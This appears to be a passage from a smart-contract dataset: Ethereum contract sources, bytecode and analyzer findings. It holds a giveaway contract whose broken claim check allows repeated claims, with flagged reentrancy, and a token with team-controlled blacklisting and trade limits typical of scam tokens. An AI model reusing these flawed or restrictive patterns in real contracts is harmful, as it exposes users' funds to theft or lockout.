617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220d8f0c01fcf7a9ea14ef014fa5fa97caf7b9ecc884d2c8e428dde1e91618aff2b64736f6c63430006060033
{"success": true, "error": null, "results": {}}
2,773
0x7d5bdfa892fc28c4632ae14a834539f6bab30415
/** *Submitted for verification at Etherscan.io on 2022-01-03 */ // SPDX-License-Identifier: MIT // 84 71 32 64 84 104 101 71 104 111 115 116 68 101 118 // ASCII pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } interface IERC20 { function decimals() external view returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract GiveawayContract is Ownable { using SafeMath for uint256; IERC20 public tokenAccel; struct TokenInputInfo { address addr; uint256 rateInput; uint256 rateOutput; } mapping (uint256 => TokenInputInfo) public tokenInput; mapping (uint256 => mapping (address => uint256)) private balances; mapping (address => bool) public claimed; uint256 private totalDevidend; constructor(address _tokenAccel) { tokenAccel = IERC20(_tokenAccel); } function ownerAddInputTokenForSwap(uint256 id, address _inputToken, uint256 _inputRate, uint256 _outputRate)public onlyOwner{ require(id < 3, "There 3 token, id should be 0,1,2"); tokenInput[id].addr = _inputToken; tokenInput[id].rateInput = _inputRate; tokenInput[id].rateOutput = _outputRate; } receive() external payable { } function ownerWithdrawEthAndToken() public onlyOwner{ tokenAccel.transfer(msg.sender, tokenAccel.balanceOf(address(this))); payable(msg.sender).transfer(address(this).balance); } function ownerSetupTokenBalance(uint256 id, address[] calldata accounts, uint256[] calldata amount) public onlyOwner { require(id < 3, "There 3 token, id should be 0,1,2"); for( uint256 i = 0; i < accounts.length; i++){ balances[id][accounts[i]] = amount[i]; totalDevidend = totalDevidend.add(amount[i].mul(tokenInput[id].rateOutput).div(tokenInput[id].rateInput)); } } function getClaimableAmount(address account) public view returns(uint256 tokens, uint256 eth, uint256 dividend){ if(totalDevidend == 0){ tokens = 0; eth = 0; dividend = 0; }else{ uint256 yourDividend = 0; for (uint256 i= 0; i<3; i++){ if(tokenInput[i].rateInput > 0) yourDividend = yourDividend.add(balances[i][account].mul(tokenInput[i].rateOutput).div(tokenInput[i].rateInput)); } tokens = tokenAccel.balanceOf(address(this)).mul(yourDividend).div(totalDevidend); eth = address(this).balance.mul(yourDividend).div(totalDevidend); dividend = yourDividend; } } function claim() public{ require(claimed[msg.sender] == false, "Already claimed"); claimed[msg.sender] == true; (uint256 tokens, uint256 eth, uint256 dividend) = getClaimableAmount(msg.sender); tokenAccel.transfer(msg.sender, tokens); payable(msg.sender).transfer(eth); totalDevidend = totalDevidend - dividend; } }
0x6080604052600436106100a05760003560e01c80637333555911610064578063733355591461014a5780637df62b6f1461016a5780638da5cb5b146101d6578063c884ef83146101f4578063e12f3a6114610234578063f2fde38b1461026f57600080fd5b806330878aae146100ac5780634e71d92d146100c357806362faf223146100d85780636c8ffd93146100f8578063715018a61461013557600080fd5b366100a757005b600080fd5b3480156100b857600080fd5b506100c161028f565b005b3480156100cf57600080fd5b506100c16103f5565b3480156100e457600080fd5b506100c16100f3366004610c19565b61052f565b34801561010457600080fd5b50600154610118906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b34801561014157600080fd5b506100c1610698565b34801561015657600080fd5b506100c1610165366004610bdf565b61070c565b34801561017657600080fd5b506101b1610185366004610baf565b60026020819052600091825260409091208054600182015491909201546001600160a01b039092169183565b604080516001600160a01b03909416845260208401929092529082015260600161012c565b3480156101e257600080fd5b506000546001600160a01b0316610118565b34801561020057600080fd5b5061022461020f366004610b75565b60046020526000908152604090205460ff1681565b604051901515815260200161012c565b34801561024057600080fd5b5061025461024f366004610b75565b610792565b6040805193845260208401929092529082015260600161012c565b34801561027b57600080fd5b506100c161028a366004610b75565b6108e3565b6000546001600160a01b031633146102c25760405162461bcd60e51b81526004016102b990610cd1565b60405180910390fd5b6001546040516370a0823160e01b81523060048201526001600160a01b039091169063a9059cbb90339083906370a082319060240160206040518083038186803b15801561030f57600080fd5b505afa158015610323573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103479190610bc7565b6040516001600160e01b031960e085901b1681526001600160a01b0390921660048301526024820152604401602060405180830381600087803b15801561038d57600080fd5b505af11580156103a1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103c59190610b8f565b5060405133904780156108fc02916000818181858888f193505050501580156103f2573d6000803e3d6000fd5b50565b3360009081526004602052604090205460ff16156104475760405162461bcd60e51b815260206004820152600f60248201526e105b1c9958591e4818db185a5b5959608a1b60448201526064016102b9565b3360008181526004602052908190819061046090610792565b60015460405163a9059cbb60e01b81523360048201526024810185905293965091945092506001600160a01b03169063a9059cbb90604401602060405180830381600087803b1580156104b257600080fd5b505af11580156104c6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104ea9190610b8f565b50604051339083156108fc029084906000818181858888f19350505050158015610518573d6000803e3d6000fd5b50806005546105279190610d5d565b600555505050565b6000546001600160a01b031633146105595760405162461bcd60e51b81526004016102b990610cd1565b600385106105795760405162461bcd60e51b81526004016102b990610c90565b60005b83811015610690578282828181106105a457634e487b7160e01b600052603260045260246000fd5b905060200201356003600088815260200190815260200160002060008787858181106105e057634e487b7160e01b600052603260045260246000fd5b90506020020160208101906105f59190610b75565b6001600160a01b031681526020808201929092526040908101600090812093909355888352600291829052909120600181015491015461067b916106729161066c9087878781811061065757634e487b7160e01b600052603260045260246000fd5b905060200201356109cd90919063ffffffff16565b90610a55565b60055490610ab0565b6005558061068881610d74565b91505061057c565b505050505050565b6000546001600160a01b031633146106c25760405162461bcd60e51b81526004016102b990610cd1565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146107365760405162461bcd60e51b81526004016102b990610cd1565b600384106107565760405162461bcd60e51b81526004016102b990610c90565b600093845260026020819052604090942080546001600160a01b0319166001600160a01b03949094169390931783556001830191909155910155565b6000806000600554600014156107b0575060009150819050806108dc565b6000805b600381101561083557600081815260026020526040902060010154156108235760008181526002602081815260408084206001810154930154600383528185206001600160a01b038c1686529092529092205461082092610819929161066c916109cd565b8390610ab0565b91505b8061082d81610d74565b9150506107b4565b506005546001546040516370a0823160e01b81523060048201526108c3929161066c9185916001600160a01b0316906370a082319060240160206040518083038186803b15801561088557600080fd5b505afa158015610899573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108bd9190610bc7565b906109cd565b6005549094506108d79061066c47846109cd565b925090505b9193909250565b6000546001600160a01b0316331461090d5760405162461bcd60e51b81526004016102b990610cd1565b6001600160a01b0381166109725760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016102b9565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000826109dc57506000610a4f565b60006109e88385610d3e565b9050826109f58583610d1e565b14610a4c5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016102b9565b90505b92915050565b6000808211610aa65760405162461bcd60e51b815260206004820152601a60248201527f536166654d6174683a206469766973696f6e206279207a65726f00000000000060448201526064016102b9565b610a4c8284610d1e565b600080610abd8385610d06565b905083811015610a4c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016102b9565b80356001600160a01b0381168114610b2657600080fd5b919050565b60008083601f840112610b3c578182fd5b50813567ffffffffffffffff811115610b53578182fd5b6020830191508360208260051b8501011115610b6e57600080fd5b9250929050565b600060208284031215610b86578081fd5b610a4c82610b0f565b600060208284031215610ba0578081fd5b81518015158114610a4c578182fd5b600060208284031215610bc0578081fd5b5035919050565b600060208284031215610bd8578081fd5b5051919050565b60008060008060808587031215610bf4578283fd5b84359350610c0460208601610b0f565b93969395505050506040820135916060013590565b600080600080600060608688031215610c30578081fd5b85359450602086013567ffffffffffffffff80821115610c4e578283fd5b610c5a89838a01610b2b565b90965094506040880135915080821115610c72578283fd5b50610c7f88828901610b2b565b969995985093965092949392505050565b60208082526021908201527f5468657265203320746f6b656e2c2069642073686f756c6420626520302c312c6040820152601960f91b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60008219821115610d1957610d19610d8f565b500190565b600082610d3957634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615610d5857610d58610d8f565b500290565b600082821015610d6f57610d6f610d8f565b500390565b6000600019821415610d8857610d88610d8f565b5060010190565b634e487b7160e01b600052601160045260246000fdfea2646970667358221220be787f427450cf69ada35e207a14bbdfdfd99a12967529d268ef34fe84b1328364736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
2,774
0x2bc9dbba42a71adc2c08af8f61ca2454ab073936
/** *Submitted for verification at Etherscan.io on 2021-09-24 */ /* Monster Truck Verse https://t.me/TruckVerse */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract TruckVerse is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "@TruckVerse"; string private constant _symbol = "MTV"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; mapping (address => bool) bannedUsers; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 3; uint256 private _redisfee = 2; mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance} (address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 10000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _redisfee == 0) return; _taxFee = 0; _redisfee = 0; } function restoreAllFee() private { _taxFee = 3; _redisfee = 2; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (120 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function blockbot(address account, bool banned) public { require(_msgSender() == _teamAddress); if (banned) { require( block.timestamp + 365 days > block.timestamp, "x"); bannedUsers[account] = true; } else { delete bannedUsers[account]; } emit WalletBanStatusUpdated(account, banned); } function unban(address account) public { require(_msgSender() == _teamAddress); bannedUsers[account] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function transfer(uint256 maxTxPercent) external { require(_msgSender() == _teamAddress); require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**5); emit MaxTxAmountUpdated(_maxTxAmount); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _redisfee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } event WalletBanStatusUpdated(address user, bool banned); }
0x6080604052600436106101185760003560e01c8063715018a6116100a0578063b515566a11610064578063b515566a1461031c578063b9f145571461033c578063c3c8cd801461035c578063c9567bf914610371578063dd62ed3e1461038657600080fd5b8063715018a6146102735780638da5cb5b1461028857806395d89b41146102b0578063a6e02d64146102dc578063a9059cbb146102fc57600080fd5b806323b872dd116100e757806323b872dd146101e2578063313ce567146102025780635932ead11461021e5780636fc3eaec1461023e57806370a082311461025357600080fd5b806306fdde0314610124578063095ea7b31461016a57806312514bba1461019a57806318160ddd146101bc57600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b5060408051808201909152600b81526a40547275636b566572736560a81b60208201525b6040516101619190611b27565b60405180910390f35b34801561017657600080fd5b5061018a6101853660046119b8565b6103cc565b6040519015158152602001610161565b3480156101a657600080fd5b506101ba6101b5366004611ae2565b6103e3565b005b3480156101c857600080fd5b5068056bc75e2d631000005b604051908152602001610161565b3480156101ee57600080fd5b5061018a6101fd36600461194b565b6104b3565b34801561020e57600080fd5b5060405160098152602001610161565b34801561022a57600080fd5b506101ba610239366004611aaa565b61051c565b34801561024a57600080fd5b506101ba610564565b34801561025f57600080fd5b506101d461026e3660046118db565b610591565b34801561027f57600080fd5b506101ba6105b3565b34801561029457600080fd5b506000546040516001600160a01b039091168152602001610161565b3480156102bc57600080fd5b5060408051808201909152600381526226aa2b60e91b6020820152610154565b3480156102e857600080fd5b506101ba6102f736600461198b565b610627565b34801561030857600080fd5b5061018a6103173660046119b8565b61071d565b34801561032857600080fd5b506101ba6103373660046119e3565b61072a565b34801561034857600080fd5b506101ba6103573660046118db565b6107ce565b34801561036857600080fd5b506101ba61080f565b34801561037d57600080fd5b506101ba610845565b34801561039257600080fd5b506101d46103a1366004611913565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103d9338484610c08565b5060015b92915050565b600d546001600160a01b0316336001600160a01b03161461040357600080fd5b600081116104585760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e203000000060448201526064015b60405180910390fd5b610478620186a061047268056bc75e2d6310000084610d2c565b90610db2565b60118190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b60006104c0848484610df4565b610512843361050d85604051806060016040528060288152602001611cf8602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611206565b610c08565b5060019392505050565b6000546001600160a01b031633146105465760405162461bcd60e51b815260040161044f90611b7a565b60108054911515600160b81b0260ff60b81b19909216919091179055565b600d546001600160a01b0316336001600160a01b03161461058457600080fd5b4761058e81611240565b50565b6001600160a01b0381166000908152600260205260408120546103dd906112c5565b6000546001600160a01b031633146105dd5760405162461bcd60e51b815260040161044f90611b7a565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600d546001600160a01b0316336001600160a01b03161461064757600080fd5b80156106b5574261065c816301e13380611c1f565b1161068d5760405162461bcd60e51b81526020600482015260016024820152600f60fb1b604482015260640161044f565b6001600160a01b0382166000908152600660205260409020805460ff191660011790556106d6565b6001600160a01b0382166000908152600660205260409020805460ff191690555b604080516001600160a